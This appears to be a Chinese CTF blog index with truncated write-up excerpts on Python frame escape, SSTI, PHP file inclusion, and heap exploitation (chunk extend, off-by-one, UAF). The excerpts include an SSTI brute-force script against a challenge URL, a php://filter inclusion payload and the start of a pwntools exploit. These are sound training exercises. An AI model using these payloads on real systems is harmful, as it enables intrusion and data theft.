Python栈帧逃逸
# Python 栈帧逃逸:
# 1、yield 语与生成器函数:
python 中的 yield 语句用于定义生成器函数,它能让函数在运行过程中暂停并保存当前状态,后续再恢复执行。
生成器 是 Pythonn 中一种特殊的迭代器,它可以在迭代过程中动态生成值,而不需要一次性将所有值存 0 储在内存中。
举个生成器的例子:
1234567891011121314151617181920212223242526272829def func(): print("生成器函数第一次执行") yield 1 print("生成器函数第二次执行") yield 2 print("生成器函数第三次执行") yield 3gen = func()print(next(gen))print(next(gen))print(next(gen))# frame = [x for x in gen]# print(frame)#执行结果#生成器函数第一次执行#1#生成器函数第二次执行#2#生成器 ...
ctfshow-SSTI
# web361:
name 传参,直接干:
123456789101112131415161718192021from requests import getdef get_wrap(): for i in range(100,200): url = "http://a96b5242-08d2-4901-8692-4b324f00d95a.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[" + str(i) + "]}}" resp = get(url) if "os._wrap_close" in resp.text: print(url) breakdef poc(): while True: cmd = input('Enter your comman ...
从NSSCTF开始的复建之路
# 从 NSSCTF 开始的复建之路
# 前言:
摆烂了有段时间了,感觉不应该再继续这样了,开个新坑,让我慢慢回忆一些忘记的内容,我知道不应该摆烂,但心理问题导致我感觉一切都失去了意义,还好,maimai 让我至少有活下去的想法,在写这段话的时候,我正在听 The Last Page – ARForest,一切的不如意都有最后一页,而现在,我希望我的低谷期已经来到了 The Last Page ,期待接下来的每一步都会像 The Last Page 一般,充满希望,充满美好。 -- 发癫完毕
# Re:
# [SWPUCTF 2022 新生赛] base64
IDA 打开后,shift+f12 找到了 base64 编码的编码表,表没有经过修改,同时找到加密后的数据:
1TlNTQ1RGe2Jhc2VfNjRfTlRXUTRaR0ROQzdOfQ==
经过 base64 解码之后得到 flag:
1NSSCTF{base_64_NTWQ4ZGDNC7N}
# Web :
# [MoeCTF 2021]unserialize
1234567891 ...
【2024】HECTF-个人整理向
WP:
Web:
Are you happy?:
baby_unserialize:
baby_sql:
非预期:
预期解
你一个人专属的进货网站:
ezweb
ezjava:
Misc:
简单的压缩包:
Pwn
sign in
find eggy:
Arcaea_Sorting:
Arcaea_Sorting_Revenge:
Re:
babyre:
Crypto:
迷茫的艾米莉
seven more
翻一翻:
不合格的魔药:
情书与破碎的证书
题目描述记录:
Web:
Are u happy
baby_sql
baby_unserialize
你一个人专属的进货网站
ezweb
ezjava
Re
babyre
littleasm
PE?py?
easyree
ezAndroid
Pwn
sign in
find eggy
Arcaea_Sorting
Arcaea_Sorting_Revenge
喵喵喵
lip
Crypto
迷茫的艾米莉
翻一翻
seven more
情书与破碎的证书
不合格的魔药
Misc
...
ctfshow-文件包含
竞争包含先不写了,有时间再写。
# Web78
123456if(isset($_GET['file'])){ $file = $_GET['file']; include($file);}else{ highlight_file(__FILE__);}
常规文件包含,直接读 flag.php,filter 伪协议:
?file=php://filter/read=convert.base64-encode/resource=flag.php
# Web79:
1234567if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file);}else{ highlight_file(__FILE__);& ...
pwn学习笔记(12)--Chunk Extend and Overlapping
# pwn 学习笔记(12)–Chunk Extend and Overlapping
chunk extend 是堆漏洞的一种常见利用手法,通过 extend 可以实现 chunk overlapping(块重叠) 的效果。这种利用方法需要以下的时机和条件:
程序中存在基于堆的漏洞
漏洞可以控制 chunk header 中的数据
# 1、对 inuse 的 fastbin 进行 extend:
12345678910111213 int main(void){ void *ptr,*ptr1; ptr=malloc(0x10);//分配第一个0x10的chunk malloc(0x10);//分配第二个0x10的chunk *(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域 free(ptr); ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容 return 0;}
首先进行两次 malloc,之后看看 heap ...
pwn学习笔记(11)--off_by_one
# pwn 学习笔记(11)–off_by_one
在处理 for 循环或者 while 循环的时候,有的可能会遇到如下情况:
123456789101112#include<stdio.h>int main(){ char buf[0x10]; for (int i = 0 ; i <= 0x10 ; i ++){ buf[i] = getchar(); } puts(buf); }
多次输入几个 a 之后,发现了最后输出的时候输出了 17 个 a,我的目的仅仅只是需要 16 个 a,结果输出了 17 个 a,像这种,在写入字符串的时候多写入了一个字节的情况,就是 off by one。
在堆中,这种问题尤为严重,可能会导致输入的字符覆盖了 heap info 的 prev_in_use 或者其他的数据:
溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法
溢出字节为 NULL ...
Pwn学习笔记(10)--UAF
# Pwn 学习笔记(10)–UAF:
UAF 就是 Use-After-Free,即一个指向堆块的指针被释放后指针没有置零,形成了悬空指针,使得堆可以再次被使用。
由于我环境似乎运行不了某个程序,所以演示就不做了,上个简单题来看看。
题目是一个标准的菜单题,有创建 note 和输出删除的功能,别的不看了,直接看那三个函数:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546unsigned int add_note(){ int v0; // ebx int i; // [esp+Ch] [ebp-1Ch] int size; // [esp+10h] [ebp-18h] char buf[8]; // [esp+14h] [ebp-14h] BYREF unsigned int v5; // [esp+1Ch] [ebp-Ch] v5 = __readgsdword(0x14u); if ( count <= 5 ) ...
【2024】强网杯
# web:
# PyBlockly:
网站是一个通过 block 的堆积木的形式编程,有两种数据类型以及四种函数,分别是正常运算,print 输出,min 和 max 功能,随便写一些代码,发现结果会回显出来。
再来看看源码:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157from flask impor ...
网鼎杯2024青龙组官方资格赛wp
# pwn02:
** 第一步:**checksec 发现 32 位架构,开了 NX 和 ASLR。
** 第二步:**login 函数有个登陆,账号密码都在里面
** 第三步:**vuln 函数存在栈溢出,但是只能溢出 8 个字节,确定位栈迁移。
** 第四步:** 编写脚本,攻击:
123456789101112131415161718192021222324252627282930313233from pwn import *# context.log_level = "debug"elf = ELF("./short")io = process("./short")io = remote("0192d5e6064e782f81f9a9fbc9fc041d.0ke5.dg05.ciihw.cn",45818)# io.recvuntil(b"Enter your username: ")io.recv()io.sendline("admin")# io.r ...